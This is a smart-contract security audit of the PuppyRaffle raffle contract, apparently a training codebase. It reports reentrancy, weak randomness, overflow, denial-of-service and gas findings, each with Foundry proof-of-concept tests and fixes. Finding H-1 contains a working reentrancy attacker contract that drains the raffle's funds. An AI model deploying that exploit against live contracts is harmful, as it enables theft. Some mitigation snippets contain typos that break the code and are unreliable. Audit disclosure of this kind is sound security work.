PuppyRaffle Audit Report

Version 1.0

Moon.io

September 17, 2025

Protocol Audit Report

Moon.io

September 17, 2025

Prepared by: Moon Lead Auditors: - Divyansh Audichya

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The MOON team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk ClassificationProtocol does X, Y, Z

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Gas	2
Total	16

Findings

High

[H-1] Reentrancy attack vector in PuppyRaffle::refund which can lead to drainage of funds from the contract to another external malicious contract.

Description: The `PuppyRaffle::refund` function does not follow the `CEI`(Checks,Effects and Interactions) practice leading to Reentrancy vulnerability .

The line `payable(msg.sender).sendValue(entranceFee);` is an external call to another address which is being called before updating the `PuppyRaffle::players` mapping

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

Impact: Some external Smart Contract can call the refund function and put malicious code in it's `fallback` or `receive` function which can lead to drainage of funds from the `PuppyRaffle` contract ,hence disrupting the protocol.

Proof of Concept: 1. User enter the raffle 2. Attacker sets up a contract with `fallback` or `recieve` function that calls `PuppyRaffle::refund` function 3. Attacker enters the raffle. 4. Attackers call `PuppyRaffle::refund` from their attack contract ,draining the contract balance

Proof of Code: Following code will show the Reentrancy Attack.

Code

```
    function testReentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 2 ether);
        vm.prank(attackUser);
        ReentrancyAttacker attackContract = new ReentrancyAttacker(
            puppyRaffle);

        uint256 startingAttackContractBalance = address(attackContract)
            .balance;

        vm.prank(attackUser);
        attackContract.attack{value: entranceFee}();

        uint256 endAttackContractBalance = address(attackContract).
            balance;
        assertEq(
            startingAttackContractBalance + 5 ether,
            endAttackContractBalance
        );
    }
```

```
    contract ReentrancyAttacker {
        PuppyRaffle puppyRaffle;
        uint256 entranceFee;
        uint256 attackerIndex;

        constructor(PuppyRaffle _puppyRaffle) {
            puppyRaffle = _puppyRaffle;
            entranceFee = puppyRaffle.entranceFee();
        }

        function attack() external payable {
            address[] memory players = new address[](1);
            players[0] = address(this);
            puppyRaffle.enterRaffle{value: entranceFee}(players);

            attackerIndex = puppyRaffle.getActivePlayerIndex(address(
                this));
            puppyRaffle.refund(attackerIndex);
        }

        function _stealMoney() internal {
            if (address(puppyRaffle).balance >= entranceFee) {
                puppyRaffle.refund(attackerIndex);
            }
        }

        fallback() external payable {
            _stealMoney();
        }

        receive() external payable {
            _stealMoney();
        }
    }
```

Recommended Mitigation: Inside the `PuupyRaffle::refund` function ,first update the `PuppyRaffle:players` mapping ,and then only make an external call or transfer the funds or simply follow `CEI` -> Checks,Effects and Interactions . Additionally, we should put the event emission up as well .

```
    function refund(uint256 playerIndex) public {
        ...
        ...
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows user to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`,`block.timestamp` and `block.difficulty` together creates a predictable final number. A predictable final number is not a good number .Malicious users can manipulate these values or know them ahead of time to choose themselves as winner

Impact: Any user can influence the winner of the raffle ,winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that knowledge to predict when / how to participate. See the solidity blog on prevrando here. `block.difficulty` was recently replaced with `prevrandao`.
2. Users can manipulate the `msg.sender` value to result in their index being the winner.

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended Mitigation: Consider using an oracle for your randomness like Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFee` loses fee

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
    uint64 myVar=type(uint64).max;
    // 18446744073709551615
    myVar+=1;
    // myVar will be `0` now
```

Impact: In `PuppyRaffle::enterRaffle`, `totalFees` are accumulated for the `feeAddress` to collect later in the `PuppyRaffle::withdrawFees`. However,if the `totalFees` variable overflow , the owner or the address `feeAddress` will not be able to receive the amount and the ETH will be stuck in the contract .

Proof of Concept: 1. We added 95 players in the raffle . 2. When we called the `PuppyRaffle::selectWinner` function ,there is an overflow vulnerability . 3. So as we have added 95 players in the raffle ,the total ETH deposited is 95e18 and 20% of which means 19e18 which is more than the maximum value of uint64 (i.e. 18,446,744,073,709,551,615 ~1.8e19). 4. So the `totalFees()` will get wrap around and hence `totalFees()` will be less than 20% of 19e18. 5. This exploit is show in the code below . 6. You will not be able to withdraw due to the line

```
    require(address(this).balance == uint256(totalFees),"PuppyRaffle:
        There are currently players active!");
```

Although ,you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees,this is not the intended design of the protocol .At some point there will be too much `balance` in the contract that the above require will be impossible to hit

Code

```
    function test_selectWinnerHasOverflowProblem() public {
            // max value of uint64= 18,446,744,073,709,551,615 ~1.8e19
            // so if 95 players will join the raffle ,the totalFees()
               will be 1.9e19 ,hence overflow,but there is that 20%
               thing ,so we will add 95 e18 to make it overflow
            uint8 i;
            address[] memory players = new address[](95);
            for (i = 0; i < 95; i++) {
                players[i] = address(i + 1);
            }
            puppyRaffle.enterRaffle{value: entranceFee * 95}(players);
            vm.warp(block.timestamp + duration + 1);
            vm.roll(block.number + 1);
            puppyRaffle.selectWinner();
            assert(puppyRaffle.totalFees() < ((24e18 * 80) / 100));
            assert(
                puppyRaffle.totalFees() ==
                    uint64(((95e18) / 5) - type(uint64).max - 1)
            );
        }
```

Recommended Mitigation: There are a few possible mitigations:

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library from OpenZeppellin.
3. Remove the check from `PuppyRaffle::withdrawFees`

```
-    require(address(this).balance == uint256(totalFees),"PuppyRaffle: There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (Dos) attack, incrementing gas costs for future entrants

IMPACT: MEDIUM LIKELIHOOD:MEDIUM

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However,the longer the `PuppyRaffle::players` array is ,the more checks a new player will have to make ,This means the gas fee for players who enetered at an early stage is much more lower than those entering later.

```
// @audit DoS Attack
        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```

Impact: The gas cost for raffle entrants will greatly increase as more players eneter the raffle .Discouraging later users from entering the raffle and causing rush ar the start of the raffle .

An attacker might make the `PuppuRaffle::players` array so big, that no one else enters, guarenteeing themselves the win .

Proof of Concept: If we have 2 sets of 100 players enter ,the gas costs will be as such : - 1st 100 players: ~6503222 gas - 2nd 100 players: ~18995462 gas

This is more than 3x more exprensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`

```
    function testEnterRaffleHasDos() public {
        uint256 numberOfPlayers = 100;
        vm.txGasPrice(1);
        address[] memory players = new address[](numberOfPlayers);
        for (uint256 i = 0; i < numberOfPlayers; i++) {
            players[i] = address(uint160(i));
        }
        uint256 gasInitially = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * numberOfPlayers}(
           players);
        uint256 gasEnd = gasleft();
        console2.log("gas used:", gasInitially - gasEnd);
        vm.txGasPrice(1);
        address[] memory players2 = new address[](numberOfPlayers);
        for (uint256 i = 0; i < numberOfPlayers; i++) {
            players2[i] = address(uint160(i + numberOfPlayers));
        }
        uint256 gasInitially2 = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * numberOfPlayers}(
           players2);
        uint256 gasEnd2 = gasleft();
        console2.log("gas used 2:", gasInitially2 - gasEnd2);
        assert(gasEnd2 < gasEnd);
    }
```

Recommended Mitigation: There are a few recommendations.

1. Consider Allowing Duplicates.Users can make new wallet addresses anyways ,so a duplicate check doesn't prevent the same person from entering multiple times .
2. Consider using a mapping to check for duplicates .This would allow constant time lookup of whether a user has already entered.

```
+     mapping(address => uint256) public addressToRaffleId;
+     uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
           PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+             addressToRaffleId[newPlayers[i]] = raffleId;
        }
```

```diff

-         // Check for duplicates
+        // Check for duplicates only from the new players
+        for (uint256 i = 0; i a < newPlayers.length; i++) {
+           require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");
+        }
-         for (uint256 i = 0; i < players.length; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
-                 require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-             }
-         }
         emit RaffleEnter(newPlayers);
     }
.
.
.
     function selectWinner() external {
+        raffleId = raffleId + 1;
         require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
     function selectWinner() external {
         require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
         require(players.length > 0, "PuppyRaffle: No players in raffle");

         uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
         address winner = players[winnerIndex];
         uint256 fee = totalFees / 10;
         uint256 winnings = address(this).balance - fee;
@>       totalFees = totalFees + uint64(fee);
         players = new address[](0);
         emit RaffleWinner(winner, winnings);
     }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
           players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
               timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart Contract Wallet winners withut a `receive` or `fallback` function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting up a lottery. However, if the winner is a Smart Contract wallet that rejects the payment, the lottery will not be able to restart.

Users could easily call the `selectWinner` function again and non-smart contract user can become a winner or a proper smart contract wallet ,but it can become more gas expensive .

Impact: The `PuppyRaffle::selectWinner` function could revert many times ,making a lottery reset difficult. Also ,true winners could not get paid out and someone else could take their money .

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` function returns 0 if the player is inactive ,which confuses the player at index 0 .

Description: In the `PuppyRaffle::getActivePlayerIndex` function ,it returns the index of the player based on the address given ,if the player is not active ,then it returns 0 ,which creates an ambiguity situation for the player at index `0` as the function will return `0` in that case ,making the player at index 0 think that his/her address is inactive in the Raffle.

```
    function getActivePlayerIndex(
        address player
    ) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
@>      return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle ,and attempt to enter raffke again wasting gas.

Proof of Concept:

1. User enteres the Raffle ,they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0 ,the user thinks that they have not entered the Raffle due to function documentation

Proof of Code:

CODE

```
    function test_getActivePlayerInddex() public playerEntered {
        uint256 index = puppyRaffle.getActivePlayerIndex(playerOne);
        assertEq(index, 0);
    }
```

Recommended Mitigation: Some Recommendations are : 1. Revert the function call if the player is not there in the `PuppyRaffle::player` array;

2. Return an `int256` where the function returns −1 if the player is not the `PuppyRaffle::player` array;

Gas

[G-1] Unchanged state variables should be declared as constant or immutable.

Reading from storage is much more expensive than reading from immutable or constant.

Found Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Calling `.length` on a storage array in a loop condition is expensive. Consider caching the length in a local variable in memory before the loop and reusing it.

3 Found Instances

- Found in src/PuppyRaffle.sol Line: 104

  ```
          for (uint256 i = 0; i < players.length - 1; i++) {
  ```

- Found in src/PuppyRaffle.sol Line: 105

  ```
              for (uint256 j = i + 1; j < players.length; j++) {
  ```

- Found in src/PuppyRaffle.sol Line: 146

  ```
          for (uint256 i = 0; i < players.length; i++) {
  ```

```
+    uint256 playersLength=players.length;
-    for (uint256 i = 0; i < players.length - 1; i++) {
+    for(uint256 i=0;i;playersLength;i++){
-        for (uint256 j = i + 1; j < players.length; j++) {
+        for (uint256 j = i + 1; j < playersLength; j++) {
            require(
                players[i] != players[j],
                "PuppyRaffle: Duplicate player"
            );
        }
    }
```

Informational/Non Critical

[I-1] Use of floating pragma version of solidity in `PuppyRaffle.sol` which might introduce the risk of unknown bugs in the codebase.

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[I-2] Using an outdated version of solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with a recent version of Solidity (at least `0.8.0`) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information .

[I-3] Missing checks for `address(0)` when assigning values to address state variables.

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 74

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 243

```
        feeAddress = newFeeAddress;
```

[I-4] Function `PuppyRaffle::selectWinner` should be following CEI (Checks,Effects and Interactions)

It's best practice to follow CEI always .

```
    function selectWinner() external {
        ..
        ..
-       (bool success, ) = winner.call{value: prizePool}("");
-       require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+       (bool success, ) = winner.call{value: prizePool}("");
+       require(success, "PuppyRaffle: Failed to send prize pool to winner");
    }
```

[I-5] Use of "magic" numbers is not recommended

It can be confusing to see number literals in a codebase and it's much more readable if the numbers are given a proper name

Examples:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead of this ,you could use

```
        uint256 private constant PRICE_POOL_PERCENTAGE=80;
        uint256 private constant FEE_PERCENTAGE=20;
        uint256 private constant POOL_PRECISION=100;
```

[I-6] State Changing are missing events

In many places in the `PuppyRaffle` contract ,events are not emited whenever there is a state change which is a crucial part as it help the frontend to get the info based on the events emited.

Example-

```
        totalFees = totalFees + uint64(fee);

        uint256 rarity = uint256(
            keccak256(abi.encodePacked(msg.sender, block.difficulty))
        ) % 100;
        if (rarity <= COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
        } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }

        raffleStartTime = block.timestamp;
```

[I-7] `PuppyRaffle::_isActivePlayer` function is never used and should be removed

```
    function _isActivePlayer() internal view returns (bool) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == msg.sender) {
                return true;
            }
        }
        return false;
    }
```

This function should be removed as it is costing gas when the contract is being deployed ,hence not recommended.